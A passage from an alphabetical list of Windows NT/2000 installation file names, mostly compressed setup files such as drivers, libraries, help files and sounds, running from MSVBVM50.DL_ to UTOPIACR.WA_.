        MSVBVM50.DL_, MSVBVM60.DL_, MSVCIRT.DL_, MSVCP50.DLL, MSVCRT.DLL
        MSVCRT20.DL_, MSVCRT40.DL_, MSVFW32.DL_, MSVIDC32.DL_, MSVIDEO.DL_,
        MSW3PRT.DL_, MSWDAT10.DL_, MSWRD632.WP_, MSWRD832.CN_, MSWSOCK.DL_,
        MSWSTR10.DL_, MSXACTPS.DL_, MSXBDE40.DL_, MSXML.DL_, MTSADMIN.TL_,
        MTSTOCOM.EX_, MTX.CL_, MTXCLU.DL_, MTXDM.DL_, MTXEX.DL_,
        MTXLEGIH.DL_, MTXOCI.DL_, MULTILNG.OS_, MULTIMED.IN_, MULTIPRT.IN_,
        MUP.SY_, MUSTEK.BM_, MVOICED.VW_, MW770.CA_, MWAVMDM1.IN_,
        MWCI.DL_, MWCI32.DL_, MWMBATAM.IN_, MWREMOVE.IN_, MWSETUPK.SY_,
        MWTPDSP.IN_, MYCOMPUT.DL_, MYDOCS.DL_, MYINFO.DL_, N2K.BM_,
        N3BRIDGE.IN_, NAC.DL_, NARRATOR.EX_, NARRHOOK.DL_, NATURE.HT_,
        NATUREBG.JP_, NBF.SY_, NBTSTAT.EX_, NCPA.CP_, NCRC710.SY_,
        NDDEAPI.DL_, NDDEAPIR.EX_, NDDENB32.DL_, NDIS.SY_, NDISNPP.DL_,
        NDISTAPI.SY_, NDISWAN.SY_, NDPROXY.SY_, NDPTSP.TS_, NEO20XX.IN_,
        NET.EX_, NET.HL_, NET08A.IN_, NET1.EX_, NET21X4.IN_,
        NET3C359.IN_, NET3C562.IN_, NET3C589.IN_, NET5515N.IN_, NET557.IN_,
        NET575NT.IN_, NET656N5.IN_, NET713.IN_, NETACC.IN_, NETALT.IN_,
        NETAMBCB.IN_, NETAMBI.IN_, NETAMD.IN_, NETAMDHL.IN_, NETANA.IN_,
        NETAPI.DL_, NETAPI.OS_, NETAPI32.DL_, NETASP2K.IN_, NETATLK.IN_,
        NETAUNI.IN_, NETBIOS.SY_, NETBLITZ.HT_, NETBLZBG.GI_, NETBRZW.IN_,
        NETBT.SY_, NETC20.IN_, NETC21.IN_, NETC550.IN_, NETCB325.IN_,
        NETCBE.IN_, NETCE2.IN_, NETCE3.IN_, NETCEM28.IN_, NETCEM33.IN_,
        NETCEM56.IN_, NETCFG.HL_, NETCFGX.DL_, NETCFG_W.CH_, NETCIS.IN_,
        NETCPQG.IN_, NETCPQI.IN_, NETCPQMT.IN_, NETCTMRK.IN_, NETCTMVA.IN_,
        NETDDE.EX_, NETDEFXA.IN_, NETDET.DL_, NETDGDXB.IN_, NETDGISA.IN_,
        NETDGSXB.IN_, NETDLC.IN_, NETDLH5X.IN_, NETDSTAR.IN_, NETDTECT.DL_,
        NETDTECT.SY_, NETE100.IN_, NETE1000.IN_, NETE100I.IN_, NETE100S.IN_,
        NETEJET.IN_, NETEJXMP.IN_, NETEL515.IN_, NETEL574.IN_, NETEL59X.IN_,
        NETEL5X9.IN_, NETEL90X.IN_, NETEL980.IN_, NETEL99X.IN_, NETENET.IN_,
        NETENI25.IN_, NETEPC.IN_, NETEPICN.IN_, NETEPRO.IN_, NETET32.IN_,
        NETEVENT.DL_, NETEX10.IN_, NETF56N5.IN_, NETFJVI.IN_, NETFJVJ.IN_,
        NETFLEX.IN_, NETFORE.IN_, NETFOREH.IN_, NETGENB.IN_, NETGPC.IN_,
        NETH.DL_, NETHPPCI.IN_, NETIAS.IN_, NETIBM.IN_, NETIBM2.IN_,
        NETIBMGE.IN_, NETIBMN5.IN_, NETID.DL_, NETIPRIP.IN_, NETIRDA.IN_,
        NETIRSIR.IN_, NETJAT5.IN_, NETLANEM.IN_, NETLANEP.IN_, NETLE56.IN_,
        NETLOGON.DL_, NETLOOP.IN_, NETLPD.IN_, NETM16A.IN_, NETM16B.IN_,
        NETM32A.IN_, NETMADGE.IN_, NETMAN.DL_, NETMEET.HT_, NETMHZN5.IN_,
        NETMSCLI.IN_, NETMSG.DL_, NETNB.IN_, NETNBF.IN_, NETNF3.IN_,
        NETNGR.IN_, NETNM.IN_, NETNOVEL.IN_, NETNWCLI.IN_, NETNWLNK.IN_,
        NETOC.DL_, NETOC.IN_, NETOCA1P.IN_, NETOCA2P.IN_, NETOCE2M.IN_,
        NETOCE3M.IN_, NETOCE4M.IN_, NETOCE55.IN_, NETOCT35.IN_, NETOCT4P.IN_,
        NETOEMDH.IN_, NETOSI5.IN_, NETPC100.IN_, NETPLWIZ.DL_, NETPNIC.IN_,
        NETPSA.IN_, NETPSCHD.IN_, NETPTON.IN_, NETPWR2.IN_, NETRAP.DL_,
        NETRASA.IN_, NETRASS.IN_, NETRAST.IN_, NETRLW2K.IN_, NETRNSE.IN_,
        NETRSVP.IN_, NETRTPNT.IN_, NETRTSNT.IN_, NETRWAN.IN_, NETSAP.IN_,
        NETSERV.IN_, NETSH.EX_, NETSHELL.DL_, NETSK98.IN_, NETSK_FP.IN_,
        NETSLANT.IN_, NETSMC.IN_, NETSNIP.IN_, NETSNMP.IN_, NETSTAT.EX_,
        NETSTRM.IN_, NETSYM.IN_, NETTB155.IN_, NETTCPIP.IN_, NETTIGER.IN_,
        NETTPRO.IN_, NETTPSMP.IN_, NETTSBNT.IN_, NETUI0.DL_, NETUI1.DL_,
        NETUI2.DL_, NETUPGRD.IN_, NETVT86.IN_, NETW840.IN_, NETW926.IN_,
        NETW940.IN_, NETWARE.DR_, NETWLAN2.IN_, NETWORKS._, NETWV48.IN_,
        NETX500.IN_, NETX56N5.IN_, NETXCPQ.IN_, NEWDEV.DL_, NEWFEAT1.CH_,
        NEWFEAT1.HL_, NEWFEAT2.CH_, NEWFEAT2.HL_, NEWFEAT3.CH_, NEWFEAT3.HL_,
        NEWFEAT4.CH_, NEWFEAT4.HL_, NEWFEAT5.CH_, NEWFEAT5.HL_, NEXTLINK.DL_,
        NG18D50.IC_, NG18D65.IC_, NG18D93.IC_, NG22D50.IC_, NG22D65.IC_,
        NG22D93.IC_, NIPX.MI_, NLHTML.DL_, NLSFUNC.EX_, NMAS.DL_,
        NMASNT.DL_, NMCHAT.CH_, NMCHAT.DL_, NMCOM.DL_, NMCTRS.H_,
        NMCTRS.IN_, NMEVTMSG.DL_, NMFT.DL_, NMMKCERT.DL_, NMNT.SY_,
        NMOLDWB.DL_, NMPERF.DL_, NMPGMGRP.EX_, NMWB.DL_, NMWHITEB.CH_,
        NOCONTNT.CN_, NOFTS.CH_, NOISE.DA_, NOISE.DE_, NOISE.ENG
        NOISE.ENU, NOISE.ES_, NOISE.FR_, NOISE.IT_, NOISE.NL_,
        NOISE.SV_, NOTEPAD.CH_, NOTEPAD.EX_, NOTEPAD.HL_, NOTIFY.WA_,
        NO_I.CU_, NO_IL.CU_, NO_IM.CU_, NO_L.CU_, NO_M.CU_,
        NO_R.CU_, NO_RL.CU_, NO_RM.CU_, NPDS.ZI_, NPDSPLAY.DL_,
        NPFS.SY_, NPPAGENT.EX_, NPPTOOLS.DL_, NPWMSDRM.DL_, NSEPM.DL_,
        NSLOOKUP.EX_, NT.FN_, NT2.FN_, NT5.CA_, NT5IIS.CA_,
        NT5INF.CA_, NT5JAVA.IN_, NT5PRTA.CA_, NT5PRTX.CA_, NTAPM.IN_,
        NTART_W.CH_, NTBACKUP.CH_, NTBACKUP.EX_, NTBACKUP.HL_, NTCHOWTO.CH_,
        NTCMDS.CH_, NTDEF_W.CH_, NTDETECT.COM, NTDLL.DLL, NTDOS.SY_,
        NTDOS404.SY_, NTDOS411.SY_, NTDOS412.SY_, NTDOS804.SY_, NTDSA.DL_,
        NTDSAPI.DL_, NTDSATQ.DL_, NTDSBCLI.DL_, NTDSBSRV.DL_, NTDSETUP.DL_,
        NTDSKCC.DL_, NTDSUTIL.EX_, NTDSXDS.DL_, NTEVT.DL_, NTEVT.MF_,
        NTEVT.MO_, NTFS.SY_, NTFS40.SYS, NTHELP.CH_, NTIMAGE.GI_,
        NTIO.SY_, NTIO404.SY_, NTIO411.SY_, NTIO412.SY_, NTIO804.SY_,
        NTKRNLMP.EX_, NTLANMAN.DL_, NTLANUI.DL_, NTLANUI2.DL_, NTLDR
        NTLSAPI.DL_, NTMARTA.DL_, NTMSAPI.DL_, NTMSDBA.DL_, NTMSEVT.DL_,
        NTMSMGR.DL_, NTMSMGR.MS_, NTMSOPRQ.MS_, NTMSSVC.DL_, NTOC.DL_,
        NTOSKRNL.EX_, NTPRINT.DL_, NTPRINT.INF, NTSCIC22.IC_, NTSD.EXE
        NTSDEXTS.DLL, NTSHARED.CH_, NTSHRUI.CH_, NTSHRUI.DL_, NTSHRUI.HL_,
        NTVDM.EX_, NTVDMD.DL_, NULL.SY_, NV3.IN_, NV4.IN_,
        NW16.EX_, NWAPI16.DL_, NWAPI32.DL_, NWC.CP_, NWCFG.DL_,
        NWDOC.CH_, NWDOC.HL_, NWEVENT.DL_, NWLNKFLT.SY_, NWLNKFWD.SY_,
        NWLNKIPX.SY_, NWLNKNB.SY_, NWLNKSPX.SY_, NWPROVAU.DL_, NWRDR.SY_,
        NWSCRIPT.EX_, NWSETUP.DL_, NWWKS.DL_, OAKLEY.DL_, OBJECT~1.CL_,
        OBJSEL.DL_, OBJSEL.HL_, OCCACHE.DL_, OCGEN.DL_, OCKODAK.DL_,
        OCMANAGE.DL_, ODBC16GT.DL_, ODBC32.DL_, ODBC32GT.DL_, ODBCAD32.EX_,
        ODBCBCP.DL_, ODBCCONF.DL_, ODBCCONF.EX_, ODBCCONF.RS_, ODBCCP32.CP_,
        ODBCCP32.DL_, ODBCCR32.DL_, ODBCCU32.DL_, ODBCINST.CH_, ODBCINT.DL_,
        ODBCJET.CH_, ODBCJI32.DL_, ODBCJT32.DL_, ODBCTRAC.DL_, ODDBSE32.DL_,
        ODEXL32.DL_, ODFOX32.DL_, ODPDX32.DL_, ODTEXT32.DL_, OEIMPORT.DL_,
        OEMIG50.EX_, OEMIGLIB.DL_, OFFFILT.DL_, OFFLINE_,.CH_, OHCI1394.SY_,
        OIENG400.DL_, OIPRT400.DL_, OISLB400.DL_, OISSQ400.DL_, OITWA400.DL_,
        OIUI400.DL_, OLE2.DL_, OLE2DISP.DL_, OLE2NLS.DL_, OLE32.DL_,
        OLEACC.DL_, OLEACCRC.DL_, OLEAUT32.DL_, OLECLI.DL_, OLECLI32.DL_,
        OLECNV32.DL_, OLEDB32.DL_, OLEDB32R.DL_, OLEDB32X.DL_, OLEDBJVS.IN_,
        OLEDBVBS.IN_, OLEDLG.DL_, OLEPRN.DL_, OLEPRO32.DL_, OLESVR.DL_,
        OLESVR32.DL_, OLETHK32.DL_, OMC.CH_, OPENGL32.DL_, OPENHCI.SY_,
        OPTIONAL.IN_, OS2.EX_, OS2SRV.EX_, OS2SS.EX_, OSC.CAB
        OSCCAB.CA_, OSCHOICE.EX_, OSK.CH_, OSK.EX_, OSK.HL_,
        OSLOADER.EX_, OSO001.007, OSO001.009, OSO001.010, OSO001.012
        OSO001.016, OSO001.029, OSP.ZI_, OTHER.IN_, PACKAGER.CH_,
        PACKAGER.EX_, PAD.IN_, PAGE1.AS_, PAGECNT.DL_, PALA.TT_,
        PALAB.TT_, PALABI.TT_, PALAI.TT_, PANMAP.DL_, PARTMGR.SY_,
        PARVDM.SY_, PASSPORT.MI_, PATHPING.EX_, PAUTOENR.DL_, PAX.EX_,
        PCI.SY_, PCIIDE.SY_, PCIIDEX.SY_, PCL.SE_, PCMCIA.IN_,
        PCMCIA.SY_, PCNFGMIN.H_, PCNFGMIN.IN_, PDH.DL_, PENTNT.EX_,
        PEN_I.CU_, PEN_IL.CU_, PEN_IM.CU_, PEN_L.CU_, PEN_M.CU_,
        PEN_R.CU_, PEN_RL.CU_, PEN_RM.CU_, PERFC009.DA_, PERFCI.H_,
        PERFCI.IN_, PERFCTRS.DL_, PERFCTRS.MF_, PERFCTRS.MO_, PERFD009.DA_,
        PERFDISK.DL_, PERFDISK.MF_, PERFDISK.MO_, PERFFILT.H_, PERFFILT.IN_,
        PERFH009.DA_, PERFI009.DA_, PERFMON.EX_, PERFMON.MS_, PERFNET.DL_,
        PERFNET.MF_, PERFNET.MO_, PERFNW.DL_, PERFOS.DL_, PERFOS.MF_,
        PERFOS.MO_, PERFPROC.DL_, PERFPROC.MF_, PERFPROC.MO_, PERFTS.DL_,
        PERFWCI.H_, PERFWCI.IN_, PERM2.IN_, PERMCHK.DL_, PHIL1VID.IN_,
        PHIME.CA_, PHONE.IC_, PHONE.VE_, PIANO.AN_, PIDGEN.DLL
        PIECHTBG.JP_, PIECHTS.HT_, PIFMGR.DL_, PINBALL.CH_, PINBALL.DA_,
        PINBALL.EX_, PINBALL.HL_, PINBALL.IN_, PINBALL.MI_, PINBALL2.MI_,
        PING.EX_, PLUGIN.OC_, PLUSTAB.DL_, PMSPL.DL_, PNGFILT.DL_,
        POLAGENT.DL_, POLSTORE.DL_, POSIX.EX_, POWERCFG.CP_, POWERPNT.PP_,
        POWRPROF.DL_, PPA.IN_, PPA3.IN_, PPPMENU.SC_, PRAIRIE.BM_,
        PRC.NL_, PRCP.NL_, PRESENTA.SH_, PRFLBMSG.DL_, PRINT.EX_,
        PRINTFND.CH_, PRINTING.CH_, PRINTMON.IN_, PRINTUI.DL_, PRINTUPG.IN_,
        PRLOAD.BI_, PROCTEXE.OC_, PRODSPEC.INI, PROFMAP.DL_, PROGMAN.CN_,
        PROGMAN.EX_, PROGMAN.HL_, PROQUOTA.EX_, PROTOCOL._, PROVTHRD.DL_,
        PRTWEBVW.CS_, PSAPI.DL_, PSBASE.DL_, PSCHDCNT.H_, PSCHDPRF.DL_,
        PSCHDPRF.IN_, PSCHED.SY_, PSCRIPT.SE_, PSNPPAGN.DL_, PSTOREC.DL_,
        PSXDLL.DL_, PSXSS.EX_, PTILINK.SY_, PUBPRN.VB_, PWRMN.CH_,
        PWRMN.HL_, PWS.EX_, PWSDATA.DL_, PWSTRAY.EX_, PYIME.CA_,
        QCAP.DL_, QCUT.DL_, QDV.DL_, QDVD.DL_, QL1080.SY_,
        QL10WNT.SY_, QL1240.SY_, QL2100.SY_, QOSNAME.DL_, QUARTZ.DL_,
        QUATTRO.WB_, QUERY.DL_, QUOTES._, RADD5018.IC_, RAINBOW.AN_,
        RAINDROP.AN_, RAPILIB.DL_, RASACD.SY_, RASADHLP.DL_, RASADMIN.EX_,
        RASAPI32.DL_, RASAUTH.DL_, RASAUTO.DL_, RASAUTOU.EX_, RASCHAP.DL_,
        RASCTRNM.H_, RASCTRS.DL_, RASCTRS.IN_, RASDIAL.EX_, RASDLG.DL_,
        RASGPRXY.DL_, RASGTWY.DL_, RASIRDA.SY_, RASL2TP.SY_, RASMAN.DL_,
        RASMANS.DL_, RASMONTR.DL_, RASMXS.DL_, RASPHONE.EX_, RASPPP.DL_,
        RASPPTP.SY_, RASPTI.SY_, RASRAD.DL_, RASSAPI.DL_, RASSAUTH.DL_,
        RASSCRPT.DL_, RASSER.DL_, RASTAPI.DL_, RASTLS.DL_, RATINGS.CH_,
        RATINGS.CN_, RATINGS.HL_, RAWWAN.SY_, RCA.IN_, RCAMSP.DL_,
        RCP.EX_, RDBSS.SY_, READER.CH_, READER.HL_, RECOVER.EX_,
        RECYCLE.CH_, RECYCLE.WA_, REDIR.EX_, REGAPI.DL_, REGEDIT.CH_,
        REGEDIT.EXE, REGEDIT.HL_, REGEDT32.CH_, REGEDT32.EX_, REGEDT32.HL_,
        REGEVENT.MO_, REGISTRY.IN_, REGOPT.CH_, REGSVC.EX_, REGSVR32.EX_,
        REGWIZ.EX_, REGWIZC.DL_, RELATED.HT_, REMINST.IN_, REMOTESP.TS_,
        REND.DL_, REPLACE.EX_, RESUTILS.DL_, REXEC.EX_, RHODY.BM_,
        RICHED20.DL_, RICHED32.DL_, RINGIN.WA_, RINGOUT.WA_, RINORPRT.SI_,
        RISTNDRD.SI_, RMVV1.IN_, RMVV2.IN_, RNR20.DL_, ROMAN.FO_,
        ROOTMDM.SY_, ROUTE.EX_, ROUTEEXT.DL_, ROUTEMON.EX_, ROUTETAB.DL_,
        RPCNS4.DL_, RPCPROXY.DL_, RPCREF.DL_, RPCRT4.DL_, RPCSS.DL_,
        RRCM.DL_, RS322.CF_, RSABASE.DLL, RSACI.RA_, RSFSAPS.DL_,
        RSH.EX_, RSHX32.DL_, RSM.EX_, RSM.HL_, RSM.IN_,
        RSMCON_W.CH_, RSM_W.CH_, RSNOTIFY.EX_, RSTORAGE.IN_, RSVP.EX_,
        RSVP.IN_, RSVPCNTS.H_, RSVPMSG.DL_, RSVPPERF.DL_, RSVPSP.DL_,
        RTIPXMIB.DL_, RTM.DL_, RTUMEXT.DL_, RTUTILS.DL_, RUNAS.EX_,
        RUNDLL32.EX_, RUNONCE.EX_, RVRSUMID.BM_, S3SAV3D.IN_, S3SAV4.IN_,
        S3TRIO3D.IN_, SAM.CF_, SAM.VC_, SAMLIB.DL_, SAMSRV.DL_,
        SANTAFE.BM_, SAVEDUMP.EX_, SBP2.IN_, SBP2PORT.SY_, SCARDDLG.DL_,
        SCARDDLG.HL_, SCARDSSP.DL_, SCARDSVR.EX_, SCECLI.DL_, SCECON_W.CH_,
        SCEREGVL.IN_, SCESRV.DL_, SCE_W.CH_, SCHANNEL.DLL, SCLGNTFY.DL_,
        SCMCON_W.CH_, SCM_W.CH_, SCRCONS.EX_, SCRCONS.MO_, SCRDBCAT.CA_,
        SCRIPT.FO_, SCRIPTO.DL_, SCRNSAVE.SC_, SCROBJ.DL_, SCRRUN.DL_,
        SCSCON_W.CH_, SCSI.IN_, SCSIDEV.IN_, SCSIPORT.SY_, SC_W.CH_,
        SDPBLB.DL_, SECAUTH.HL_, SECEDIT.CH_, SECEDIT.EX_, SECLOGON.DL_,
        SECPOL.MS_, SECRCW32.DL_, SECRCW32.MF_, SECRCW32.MO_, SECSET_W.CH_,
        SECUR32.DL_, SECUREDC.IN_, SECUREWS.IN_, SECURITY.DL_, SECURI~1.CL_,
        SECURI~2.CL_, SECURI~3.CL_, SEFILSHR.DL_, SENDCMSG.CH_, SENDCMSG.DL_,
        SENDMAIL.DL_, SENS.DL_, SENSAPI.DL_, SENSCFG.DL_, SERE1257.FO_,
        SERENUM.SY_, SERF1257.FO_, SERIAL.SY_, SERIALUI.DL_, SERIFE.FO_,
        SERIFEE.FO_, SERIFEG.FO_, SERIFER.FO_, SERIFET.FO_, SERIFF.FO_,
        SERIFFE.FO_, SERIFFG.FO_, SERIFFR.FO_, SERIFFT.FO_, SERVDEPS.DL_,
        SERVICES.EX_, SERVICES.MS_, SERVICES._, SERWVDRV.DL_, SETHC.EX_,
        SETPATHS.CM_, SETREG.EX_, SETUP.EX_, SETUP16.IN_, SETUP50.EX_,
        SETUPACC.TXT, SETUPAPI.DL_, SETUPDD.SY_, SETUPDLL.DL_, SETUPLDR.BIN
        SETUPLDR.EX_, SETUPP.INI, SETUPQRY.DL_, SETUPQRY.IN_, SETUPREG.HIV
        SETUP_W.BM_, SETVER.EX_, SFC.DL_, SFC.EX_, SFCFILES.DL_,
        SFLOPPY.SY_, SFMAPI.DL_, SFMATALK.SY_, SFMATMSG.DL_, SFMMGR.HL_,
        SFMMON.DL_, SFMPSPRT.DL_, SFMWSHAT.DL_, SGIBVID.DL_, SGIU.IN_,
        SGLFB.DLL, SGLFB.SYS, SHARE.EX_, SHARED~1.CL_, SHDOCLC.DL_,
        SHDOCVW.DL_, SHELL.DL_, SHELL.HL_, SHELL.IN_, SHELL32.DL_,
        SHFOLDER.DL_, SHIFTJIS.UC_, SHIMGVW.DL_, SHLWAPI.DL_, SHMGRATE.EX_,
        SHRPUBW.EX_, SHSCRAP.DL_, SIGNIN.HL_, SIGTAB.DL_, SIGVERIF.EX_,
        SIGVERIF.HL_, SIMPTCP.DL_, SIS300.IN_, SIS6306.IN_, SISBKUP.DL_,
        SISV6326.IN_, SIZE1_I.CU_, SIZE1_IL.CU_, SIZE1_IM.CU_, SIZE1_L.CU_,
        SIZE1_M.CU_, SIZE1_R.CU_, SIZE1_RL.CU_, SIZE1_RM.CU_, SIZE2_I.CU_,
        SIZE2_IL.CU_, SIZE2_IM.CU_, SIZE2_L.CU_, SIZE2_M.CU_, SIZE2_R.CU_,
        SIZE2_RL.CU_, SIZE2_RM.CU_, SIZE3_I.CU_, SIZE3_IL.CU_, SIZE3_IM.CU_,
        SIZE3_L.CU_, SIZE3_M.CU_, SIZE3_R.CU_, SIZE3_RL.CU_, SIZE3_RM.CU_,
        SIZE4_I.CU_, SIZE4_IL.CU_, SIZE4_IM.CU_, SIZE4_L.CU_, SIZE4_M.CU_,
        SIZE4_R.CU_, SIZE4_RL.CU_, SIZE4_RM.CU_, SIZENESW.AN_, SIZENS.AN_,
        SIZENWSE.AN_, SIZEWE.AN_, SKDLL.DL_, SKEYS.EX_, SLBCSP.DL_,
        SLBKYGEN.DL_, SLBRSRC.DL_, SLIP.SC_, SLIPMENU.SC_, SM9232.DL_,
        SM9332.DL_, SMAE1257.FO_, SMAF1257.FO_, SMALLE.FO_, SMALLEE.FO_,
        SMALLEG.FO_, SMALLER.FO_, SMALLET.FO_, SMALLF.FO_, SMALLFE.FO_,
        SMALLFG.FO_, SMALLFR.FO_, SMALLFT.FO_, SMARTCRD.IN_, SMCLIB.SY_,
        SMI.MI_, SMLOGCFG.DL_, SMLOGSVC.EX_, SMLOG_W.CH_, SMSS.EX_,
        SMTPCONS.DL_, SMTPCONS.MO_, SNDBLST.DL_, SNDBLST.SY_, SNDREC.WA_,
        SNDREC32.EX_, SNDVOL32.CH_, SNDVOL32.EX_, SNDVOL32.HL_, SNMP.EX_,
        SNMPAPI.DL_, SNMPMIB.DL_, SNMPSNAP.DL_, SNMPSNAP.HL_, SNMPTRAP.EX_,
        SNMP_,.CH_, SOFTPUB.DL_, SOL.CH_, SOL.EX_, SOL.HL_,
        SORT.EX_, SORTKEY.NL_, SORTTBLS.NL_, SOUND.DR_, SOUND1.WA_,
        SOUND104.WA_, SOUND105.WA_, SOUND108.WA_, SOUND111.WA_, SOUND112.WA_,
        SOUND12.WA_, SOUND13.WA_, SOUND131.WA_, SOUND136.WA_, SOUND14.WA_,
        SOUND16.WA_, SOUND17.WA_, SOUND18.WA_, SOUND181.WA_, SOUND19.WA_,
        SOUND20.WA_, SOUND21.WA_, SOUND22.WA_, SOUND24.WA_, SOUND240.WA_,
        SOUND243.WA_, SOUND25.WA_, SOUND26.WA_, SOUND27.WA_, SOUND28.WA_,
        SOUND29.WA_, SOUND3.WA_, SOUND30.WA_, SOUND34.WA_, SOUND35.WA_,
        SOUND36.WA_, SOUND38.WA_, SOUND39.WA_, SOUND4.WA_, SOUND42.WA_,
        SOUND43.WA_, SOUND45.WA_, SOUND49.WA_, SOUND49D.WA_, SOUND5.WA_,
        SOUND50.WA_, SOUND528.WA_, SOUND53.WA_, SOUND54.WA_, SOUND55.WA_,
        SOUND560.WA_, SOUND563.WA_, SOUND57.WA_, SOUND58.WA_, SOUND6.WA_,
        SOUND65.WA_, SOUND68.WA_, SOUND7.WA_, SOUND713.WA_, SOUND735.WA_,
        SOUND8.WA_, SOUND827.WA_, SOUND9.WA_, SOUND999.WA_, SOUNDREC.CH_,
        SOUNDREC.HL_, SOUNDS.CH_, SPARROW.SY_, SPCHAPI.IN_, SPCHTEL.DL_,
        SPCMDCON.SYS, SPCON_W.CH_, SPDDLANG.SY_, SPEECH.CN_, SPEECH.DL_,
        SPEECH.HL_, SPLASH.CH_, SPOOLSS.DL_, SPOOLSV.EX_, SPRESTRT.EX_,
        SPUD.SY_, SPX.IN_, SPXCOINS.DL_, SPXPORTS.IN_, SQLOLEDB.DL_,
        SQLSODBC.HL_, SQLSOLDB.HL_, SQLSRV32.DL_, SQLSTR.DL_, SQLWID.DL_,
        SQLWOA.DL_, SRV.SY_, SRVSVC.DL_, SS3DFO.SC_, SSBEZIER.SC_,
        SSEE1257.FO_, SSEF1257.FO_, SSERIFE.FO_, SSERIFEE.FO_, SSERIFEG.FO_,
        SSERIFER.FO_, SSERIFET.FO_, SSERIFF.FO_, SSERIFFE.FO_, SSERIFFG.FO_,
        SSERIFFR.FO_, SSERIFFT.FO_, SSFLWBOX.SC_, SSINC.DL_, SSMARQUE.SC_,
        SSMAZE.SC_, SSMYST.SC_, SSPIFILT.DL_, SSPIPES.SC_, SSSTARS.SC_,
        SSTEXT3D.SC_, STALPORT.IN_, START.WA_, STARTROM.CO_, STARTROM.N1_,
        STATE.IC_, STATUS.DL_, STAXMEM.DL_, STCLIENT.DL_, STDOLE.TL_,
        STDOLE2.TL_, STDOLE32.TL_, STDPROV.DL_, STI.DL_, STI.IN_,
        STICPL.CP_, STILLCAM.IN_, STIMON.EX_, STISVC.EX_, STI_BI.DL_,
        STOBJECT.DL_, STOPWTCH.AN_, STORAGE.DL_, STREAMCI.DL_, STREAMS.SY_,
        STRMDLL.DL_, SUBRANGE.UC_, SUBROUTN.IN_, SUBST.EX_, SUNBANNA.GI_,
        SUNFBKG.JP_, SUNFLOWR.HT_, SUPPORT.IC_, SUPP_ED.CH_, SVCEXT.DL_,
        SVCHOST.EX_, SVCPACK.DL_, SVCPACK.IN_, SWEETS.HT_, SWEETSBG.GI_,
        SWITCH.IN_, SWNT.IN_, SWTCHBRD.BM_, SXBBIOS.BI_, SXBFEP.BI_,
        SYLFAEN.TT_, SYMBOL.TT_, SYMBOLE.FO_, SYMBOLF.FO_, SYMC810.SY_,
        SYMC8XX.SY_, SYM_HI.SY_, SYNCAPP.EX_, SYNCENG.DL_, SYNCUI.DL_,
        SYNTH.DL_, SYNTH.PA_, SYNTH.SY_, SYSDM.CH_, SYSDM.CP_,
        SYSDM.HL_, SYSEDIT.EX_, SYSINV.DL_, SYSKEY.EX_, SYSMON.HL_,
        SYSMON.OC_, SYSMON_W.CH_, SYSOC.IN_, SYSOCMGR.EX_, SYSPRINT.SE_,
        SYSPROP.CH_, SYSPRTJ.SE_, SYSSETUP.DL_, SYSSETUP.IN_, SYSTEM.AD_,
        SYSTEM.DR_, SYSTEM.IN_, SYSTEM.MD_, SYSTRAY.EX_,
        SYS_SRV.CH_, SYS_SRV.HL_, T2EMBED.DL_, TABLE.BM_, TADA.WA_,
        TAHOMA.TT_, TAHOMABD.TT_, TAPE.IN_, TAPE.SY_, TAPI.CH_,
        TAPI.DL_, TAPI.HL_, TAPI3.DL_, TAPI32.DL_, TAPIPERF.DL_,
        TAPISRV.DL_, TAPIUI.DL_, TASKMAN.EX_, TASKMGR.CH_, TASKMGR.EX_,
        TASKMGR.HL_, TCARC.SY_, TCLASSES.CA_, TCLASSES.CE_, TCLASSES.ZI_,
        TCMSETUP.EX_, TCPIP.CH_, TCPIP.SY_, TCPMIB.DL_, TCPMON.DL_,
        TCPMON.HL_, TCPMON.IN_, TCPMONUI.DL_, TCPSVCS.EX_, TDC.OC_,
        TDI.SY_, TECH.GI_, TECH.HT_, TELEPHON.CP_, TELNET.EXE
        TELNET.HL_, TELNET_W.CH_, TERMCAP._, TERMMGR.DL_, TESTSND.WA_,
        TE_PROT.P_, TE_PROT.SY_, TFFSPORT.SY_, TFTP.EX_, TFTPD.EX_,
        TG18D50.IC_, TG18D65.IC_, TG18D93.IC_, TG22D50.IC_, TG22D65.IC_,
        TG22D93.IC_, TGIU.IN_, THEMES.EX_, THUMBVW.DL_, TIFFLT.DL_,
        TIMEDATE.CP_, TIMER.DR_, TIMES.TT_, TIMESBD.TT_, TIMESBI.TT_,
        TIMESI.TT_, TIP.HT_, TIPS.GI_, TLNTADMN.EX_, TLNTSESS.EX_,
        TLNTSVR.EX_, TLNTSVRP.DL_, TOOLHELP.DL_, TOOLS.DL_, TRACE.DL_,
        TRACERT.EX_, TRAFFIC.DL_, TRANSA~1.CL_, TREBUC.TT_, TREBUCBD.TT_,
        TREBUCBI.TT_, TREBUCIT.TT_, TREE.CO_, TRIALOC.DL_, TRID3D.IN_,
        TRIDENT.SY_, TRIDKB.IN_, TRIEDIT.DL_, TRKWKS.DL_, TROUBL_W.CH_,
        TSBVCAP.IN_, TSD32.DL_, TSHOOT.CH_, TSHOOT.HL_, TSHOOT.IN_,
        TSHOOT.OC_, TSHOOT_W.CH_, TSLABELS.H_, TSLABELS.IN_, TSSOFT32.AC_,
        TUNES.BM_, TWAIN.DL_, TWAIN_32.DL_, TWUNK_16.EX_, TWUNK_32.EX_,
        TXFAUX.DL_, TXFLOG.DL_, TXTSETUP.SIF, TYPELIB.DL_, UDFS.SY_,
        UFAT.DL_, UGENUSD.DL_, UHCD.SY_, ULIB.DL_, ULTRA66.SY_,
        UMANDLG.DL_, UMAX.IN_, UMDMXFRM.DL_, UMPNPMGR.DL_, UNATTEND.TXT
        UNICODE.NL_, UNIMDM.TS_, UNIMDMAT.DL_, UNIPLAT.DL_, 
        UNKNOWN.IN_, UNLODCTR.EX_, UNREGMP2.EX_, UNSECAPP.EX_, UNTFS.DL_,
        UPDATE.CN_, UPDATE.SY_, UPS.EX_, UPWIZUN.CH_, UPWIZUN.EX_,
        UP_I.CU_, UP_IL.CU_, UP_IM.CU_, UP_L.CU_, UP_M.CU_,
        UP_R.CU_, UP_RL.CU_, UP_RM.CU_, UREG.DL_, URGENT.CO_,
        URL.DL_, URLMON.DL_, USB.IN_, USBD.SY_, USBHUB.SY_,
        USBMON.DL_, USBPRINT.IN_, USBSTOR.IN_, USBSTOR.SY_, USER.EX_,
        USER32.DL_, USERCPL.CH_, USERENV.DL_, USERINIT.EX_, USERMIG.IN_,
        USERS.HL_, USETUP.EXE, USP10.DL_, UTILDLL.DL_, UTILMAN.EX_,
        UTILMGR.CH_, UTILMGR.HL_, UTOPIAAS.WA_, UTOPIACL.WA_, UTOPIACR.WA_,
